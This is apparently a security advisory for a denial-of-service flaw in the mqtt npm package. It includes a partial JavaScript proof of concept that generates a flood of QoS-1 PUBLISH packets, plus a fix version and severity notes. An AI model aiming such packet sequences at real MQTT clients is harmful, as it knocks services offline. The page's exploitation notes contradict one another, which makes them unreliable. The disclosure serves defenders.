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GHSA-h9mj-fghc-664w
No affected components available
Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.
The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.
Proof of Concept
The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.
var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
packets.push(
mqttp.generate({
cmd:'publish',
topic:Buffer.from('hello'),
payload:Buffer.from('world'),
retain: false,
dup: false,
messageId: ++i,
qos: 1
})
)
}
Recommendation
Update to version 2.15.0 or later.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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